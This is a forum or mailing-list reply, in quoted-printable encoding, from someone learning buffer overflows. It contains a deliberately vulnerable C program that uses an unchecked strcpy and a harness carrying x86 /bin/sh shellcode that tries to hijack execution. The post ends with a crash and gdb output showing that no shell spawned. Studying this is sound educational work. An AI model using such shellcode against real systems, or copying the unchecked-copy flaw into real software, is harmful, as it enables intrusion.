Re: Re: understanding buffer overflows

thank you!=0D
=0D
this was a great example but it didnt work on my debian machine. - but it=
 worked better than mine.=0D
=0D
i have edited your example as folowed:=0D
=0D
vuln.cpp:=0D
=0D
#include <stdio.h>=0D
#include <string.h>=0D
=0D
int foo (char *input)=0D
{=0D
char buffer [10];=0D
strcpy(buffer, input);=0D
return (0);=0D
}=0D
=0D
int main (int argc, char * argv[])=0D
{=0D
if (argc > 1)=0D
foo(argv[1]);=0D
else=0D
printf("usage: %s string", argv[0]);=0D
return 1;=0D
}=0D
=0D
=0D
test.cpp:=0D
=0D
#include <stdio.h>=0D
#include <string.h>=0D
#include <stdlib.h>=0D
#include <unistd.h>=0D
=0D
int main()=0D
{=0D
        char shellcode[] =3D=0D
        "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b=
"=0D
        "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd=
"=0D
        "\x80\xe8\xdc\xff\xff\xff/bin/sh";=0D
=0D
        char buffer[20];=0D
        long myaddr=3D(long)&shellcode;=0D
        printf("Addr of Shellcode:%p\n",myaddr);=0D
        long bufadr=3D(long)&buffer[14];=0D
        *(long *)bufadr=3Dmyaddr;=0D
        execlp("./vuln", "vuln", buffer, NULL);=0D
        return 0;=0D
}=0D
=0D
and i think the output looks very ok - isnt it?=0D
=0D
./test=0D
Addr of Shellcode:0xbfef862a <<-=0D
Speicherzugriffsfehler (core dumped)=0D
=0D
and - i think the importent part - from gdb:=0D
=0D
edi            0x0      0=0D
eip            0xbfef862a       0xbfef862a <<-=0D
eflags         0x210246 [ PF ZF IF RF ID ]=0D
=0D
but no more shell session was loaded. :-(=0D
=0D